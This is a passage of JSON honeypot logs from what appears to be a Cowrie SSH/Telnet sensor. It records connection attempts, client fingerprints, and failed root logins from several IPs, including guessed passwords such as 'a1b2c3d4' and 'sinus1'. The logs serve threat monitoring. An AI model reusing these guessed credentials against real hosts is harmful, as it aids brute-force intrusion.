{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:b2:0d:d2:67:20:e3:58:43:01:eb:16:58:1e:b3:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzZWYzSnPuYENhiccAcw7pt3TieMxBRHrafrBZ6e8QRGtIImFe382LhhrbZyLrR76Y+Cnic9WPv1Iulil0XKTDo9vuXAY/I5uuMy8eSDRoxYDwGBCDjyx0CDlwOHEj7EFeh3/SbhPJmSBo1wOaWzhnLGjq0aaTIra0p7KMNm1SvkdGHgpx8a6QokeUGKOiEgR/9Ifm+Su0UpfVMyzePeJVhfimlVoGglPgrwhoFrpwjY/egSIf+VORcrTKyl0v9w/AExPrh8PdAElBcAquKraRU1Q/YoHGsdS+ZTssXYvhHZP2G2HpCfulO/gFAETb3xEqyxCcBAX3tJXmv4lvS+yJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.629994Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:7b:84:5d:e6:12:ea:61:4b:a3:1c:6f:c3:d4:a2:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxkoW0ZXvxh+gcBToeKhJBfN3h3XKfauyHALbhjAdvf0LmmroRV6oAZPyAY8EJRB1U4ICP5yjqNazSTFUDLygFdLFVu6Zt6ahrcPUrCQZ+sKhR5BosPAAMrkVMI6OCVdIGSCQv3uvlpxran9S/4M4T3bt7SdJNsm30b2hUoW6mt4DX4AlTvNFSGSLJNJifvgUnaeNAdVB1ozy7v+oEOKnOIQFoEF9R01lgXPqxLdUljRuSckYoHIzJgK8ym10wVaCsMMmCAUtqChY5lqaF719S2EMSEGNVeoNfHIuG3MPjGUzkhSKD3lbWOyNOC9NDuiTuPGM2UhC0br3pa5hW31gXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:7b:84:5d:e6:12:ea:61:4b:a3:1c:6f:c3:d4:a2:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.667198Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:7b:84:5d:e6:12:ea:61:4b:a3:1c:6f:c3:d4:a2:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxkoW0ZXvxh+gcBToeKhJBfN3h3XKfauyHALbhjAdvf0LmmroRV6oAZPyAY8EJRB1U4ICP5yjqNazSTFUDLygFdLFVu6Zt6ahrcPUrCQZ+sKhR5BosPAAMrkVMI6OCVdIGSCQv3uvlpxran9S/4M4T3bt7SdJNsm30b2hUoW6mt4DX4AlTvNFSGSLJNJifvgUnaeNAdVB1ozy7v+oEOKnOIQFoEF9R01lgXPqxLdUljRuSckYoHIzJgK8ym10wVaCsMMmCAUtqChY5lqaF719S2EMSEGNVeoNfHIuG3MPjGUzkhSKD3lbWOyNOC9NDuiTuPGM2UhC0br3pa5hW31gXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.675026Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:9a:d9:dc:fc:3c:96:a0:89:1a:34:dc:2b:82:a0:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvXkc0BinGtqaGfr6n8XwiNv/qWQ+0GqV8gTTrbL7qTfjHEIevbllPEGaXNSTXQ1MD35BJkEExL0oMAHsaDYS7fPQHQAnnPADoHBMIWW70yRSvcA87tk2IF3YQikfs3l0Ea/3sXMrRl68RV9N3GL62DpKIOzKqz4UmVOtquZ1mnJjpBhYm/9Skx9lsIWyxoHQBcy1XjSN6L37yDBwCNomO4Re04Z1HH9aego2EFB0+tdhBVa6LT1L1IDC9qAJG2RZcPj5Q5ldxBSm0R9Tc4nDsiGR43D1Us6d63eYyKy7vXgBu4HoGidOAhp+zerN08V+RUTG9kj5UOeG+hx/xj/gyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:9a:d9:dc:fc:3c:96:a0:89:1a:34:dc:2b:82:a0:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.712137Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:9a:d9:dc:fc:3c:96:a0:89:1a:34:dc:2b:82:a0:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvXkc0BinGtqaGfr6n8XwiNv/qWQ+0GqV8gTTrbL7qTfjHEIevbllPEGaXNSTXQ1MD35BJkEExL0oMAHsaDYS7fPQHQAnnPADoHBMIWW70yRSvcA87tk2IF3YQikfs3l0Ea/3sXMrRl68RV9N3GL62DpKIOzKqz4UmVOtquZ1mnJjpBhYm/9Skx9lsIWyxoHQBcy1XjSN6L37yDBwCNomO4Re04Z1HH9aego2EFB0+tdhBVa6LT1L1IDC9qAJG2RZcPj5Q5ldxBSm0R9Tc4nDsiGR43D1Us6d63eYyKy7vXgBu4HoGidOAhp+zerN08V+RUTG9kj5UOeG+hx/xj/gyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.720961Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:4e:eb:e5:76:94:a6:ac:1b:09:2a:e6:bf:96:02:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv9JeOM5T+tR4alufGbIEBqxmkhCbkZgYtZLoEckiVqh/GfjC2wVtl7aMOu/wuTKIUWOwidokm5f///Z3ZIXrgobrtKGOQdAt9ZANgc6TmhIfQEXHI4F9QaO5GvTwwMrAWShUyOUTwOvUIvHX5kux8uSXZtlpY3CyNvGY6Tv0qMQODw0E6SBpU1nW+o/hYKmhfAGrJleZ+NHEkwb/9O0CK9rnncWirrC3P+UGwUhdeDAz0K1q9e+l6bOxvUAfGWXWrwVPSAVumZWPGwJv9zbSBrBB7wjIHEHallDY11XtWUtc78zOixSVzpfiiQ2vXkEGnPa3x6PB8HF4QGXb03vQAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:4e:eb:e5:76:94:a6:ac:1b:09:2a:e6:bf:96:02:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.759044Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:4e:eb:e5:76:94:a6:ac:1b:09:2a:e6:bf:96:02:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv9JeOM5T+tR4alufGbIEBqxmkhCbkZgYtZLoEckiVqh/GfjC2wVtl7aMOu/wuTKIUWOwidokm5f///Z3ZIXrgobrtKGOQdAt9ZANgc6TmhIfQEXHI4F9QaO5GvTwwMrAWShUyOUTwOvUIvHX5kux8uSXZtlpY3CyNvGY6Tv0qMQODw0E6SBpU1nW+o/hYKmhfAGrJleZ+NHEkwb/9O0CK9rnncWirrC3P+UGwUhdeDAz0K1q9e+l6bOxvUAfGWXWrwVPSAVumZWPGwJv9zbSBrBB7wjIHEHallDY11XtWUtc78zOixSVzpfiiQ2vXkEGnPa3x6PB8HF4QGXb03vQAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.767676Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:9d:06:ac:e5:e3:b8:4f:1a:d9:ea:3b:ad:d9:45:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8weh5c6z9t/9qj3n8L3HEuxVQoD8wVBSZknRKZOEhh4GDI2VuPBVLhvfa/n6PkN4a4YZgSwP6htUBujqsAtxbrpR3+NNjfc3ybrNGKfjmVCxAbls/+gb/PFS540QiGkQZxJXqOcw4vzQBENyaHZYaS+aAI4Jl4Nt3RNQavtQ5a4fLZIh5boy+mx0PSuxDwTW+9w4nNRIc8Od67bxk4E/8s088biWe6gaAtRuWzuCTD7Qiz8EIAxDkIQDWnhxhXxugh7Q0M8Kcv6H9ah21U5zl4u9NW4MqrxVpVpX+vTi/GEFWsiey3qyfHRiRL6wWrwusRhhGtAN41wDZKUzEAA5fCDoqxTZqqsb980ttOdyCfs7zWaiZpQQQWKp5thKQmRPxdWWmEAHiO7ClgYe9ZEdwKsflgPOf6yM/fxHdLuyqQCVI6/tE8/1ETsUSZNi/5rMBKuBwFMPhoJ1+qrWrc3OGtAQ/N1Kppmf4LKuFre073eyl0SKMILWUnbgkfZddnZQ4atHKG6wpYaPESwuO9udte9KGKbT5BXr2+V6NknRlx5DVvHfygY4jcc4/oeh3FeUzflrEGKOu/wGfcVgxs3APosXcLJOCOO/u9THmUx8l9IuBYqgBJs4BhKlSWtohWdrv99Wy6LT8XOJ7OCJzya3lwO3bcflvacKsRgwOj5PL5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:9d:06:ac:e5:e3:b8:4f:1a:d9:ea:3b:ad:d9:45:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.803125Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:9d:06:ac:e5:e3:b8:4f:1a:d9:ea:3b:ad:d9:45:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8weh5c6z9t/9qj3n8L3HEuxVQoD8wVBSZknRKZOEhh4GDI2VuPBVLhvfa/n6PkN4a4YZgSwP6htUBujqsAtxbrpR3+NNjfc3ybrNGKfjmVCxAbls/+gb/PFS540QiGkQZxJXqOcw4vzQBENyaHZYaS+aAI4Jl4Nt3RNQavtQ5a4fLZIh5boy+mx0PSuxDwTW+9w4nNRIc8Od67bxk4E/8s088biWe6gaAtRuWzuCTD7Qiz8EIAxDkIQDWnhxhXxugh7Q0M8Kcv6H9ah21U5zl4u9NW4MqrxVpVpX+vTi/GEFWsiey3qyfHRiRL6wWrwusRhhGtAN41wDZKUzEAA5fCDoqxTZqqsb980ttOdyCfs7zWaiZpQQQWKp5thKQmRPxdWWmEAHiO7ClgYe9ZEdwKsflgPOf6yM/fxHdLuyqQCVI6/tE8/1ETsUSZNi/5rMBKuBwFMPhoJ1+qrWrc3OGtAQ/N1Kppmf4LKuFre073eyl0SKMILWUnbgkfZddnZQ4atHKG6wpYaPESwuO9udte9KGKbT5BXr2+V6NknRlx5DVvHfygY4jcc4/oeh3FeUzflrEGKOu/wGfcVgxs3APosXcLJOCOO/u9THmUx8l9IuBYqgBJs4BhKlSWtohWdrv99Wy6LT8XOJ7OCJzya3lwO3bcflvacKsRgwOj5PL5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.812711Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:27:57.850963Z","src_ip":"191.101.33.114","session":"22af7ba8b6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.84456706047058,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:00.378060Z","src_ip":"152.42.224.71","session":"7e8b6cb06f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34768,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b977e192038","protocol":"telnet","message":"New connection: 152.42.224.71:34768 (10.17.0.5:23) [session: 8b977e192038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:02.920824Z"}
{"eventid":"cowrie.session.closed","duration":37.848551511764526,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:08.653166Z","src_ip":"152.42.224.71","session":"54f1888c8df4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.267439126968384,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:13.124378Z","src_ip":"152.42.224.71","session":"ce110ebbacf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":47840,"dst_ip":"10.17.0.5","dst_port":22,"session":"5513e476446b","protocol":"ssh","message":"New connection: 45.162.8.14:47840 (10.17.0.5:22) [session: 5513e476446b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:14.347417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:14.360923Z","src_ip":"45.162.8.14","session":"5513e476446b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:14.489506Z","src_ip":"45.162.8.14","session":"5513e476446b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":37724,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a73e2cef5f6","protocol":"ssh","message":"New connection: 186.13.24.118:37724 (10.17.0.5:22) [session: 7a73e2cef5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:14.679073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:14.692696Z","src_ip":"186.13.24.118","session":"7a73e2cef5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:14.860734Z","src_ip":"186.13.24.118","session":"7a73e2cef5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"794613","message":"login attempt [root/794613] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:14.989680Z","src_ip":"45.162.8.14","session":"5513e476446b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3d4","message":"login attempt [root/a1b2c3d4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:15.518637Z","src_ip":"186.13.24.118","session":"7a73e2cef5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:16.114575Z","src_ip":"45.162.8.14","session":"5513e476446b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:16.684928Z","src_ip":"186.13.24.118","session":"7a73e2cef5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47262,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d32887c815c","protocol":"telnet","message":"New connection: 152.42.224.71:47262 (10.17.0.5:23) [session: 3d32887c815c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:16.961519Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":39836,"dst_ip":"159.203.135.109","dst_port":22,"session":"eef02a12473b","protocol":"ssh","message":"New connection: 82.152.132.24:39836 (159.203.135.109:22) [session: eef02a12473b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:17.183517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:17.196861Z","src_ip":"82.152.132.24","session":"eef02a12473b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:17.324214Z","src_ip":"82.152.132.24","session":"eef02a12473b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1966","message":"login attempt [root/1966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:17.858633Z","src_ip":"82.152.132.24","session":"eef02a12473b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:18.993296Z","src_ip":"82.152.132.24","session":"eef02a12473b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":52226,"dst_ip":"159.203.135.109","dst_port":22,"session":"a48024722c56","protocol":"ssh","message":"New connection: 101.32.240.31:52226 (159.203.135.109:22) [session: a48024722c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:24.624755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:24.637141Z","src_ip":"101.32.240.31","session":"a48024722c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:24.872567Z","src_ip":"101.32.240.31","session":"a48024722c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.51754021644592,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:25.820937Z","src_ip":"152.42.224.71","session":"984dba5c36b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinus1","message":"login attempt [root/sinus1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:25.837671Z","src_ip":"101.32.240.31","session":"a48024722c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:27.079030Z","src_ip":"101.32.240.31","session":"a48024722c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.68597888946533,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:33.668615Z","src_ip":"152.42.224.71","session":"d24f8becef01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50652,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4527b4163d1","protocol":"ssh","message":"New connection: 80.94.92.184:50652 (10.17.0.5:22) [session: f4527b4163d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:34.244641Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":40940,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b8230270af","protocol":"ssh","message":"New connection: 45.132.125.41:40940 (159.203.135.109:22) [session: 18b8230270af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:34.268691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:28:34.280498Z","src_ip":"45.132.125.41","session":"18b8230270af","protocol":"ssh"}
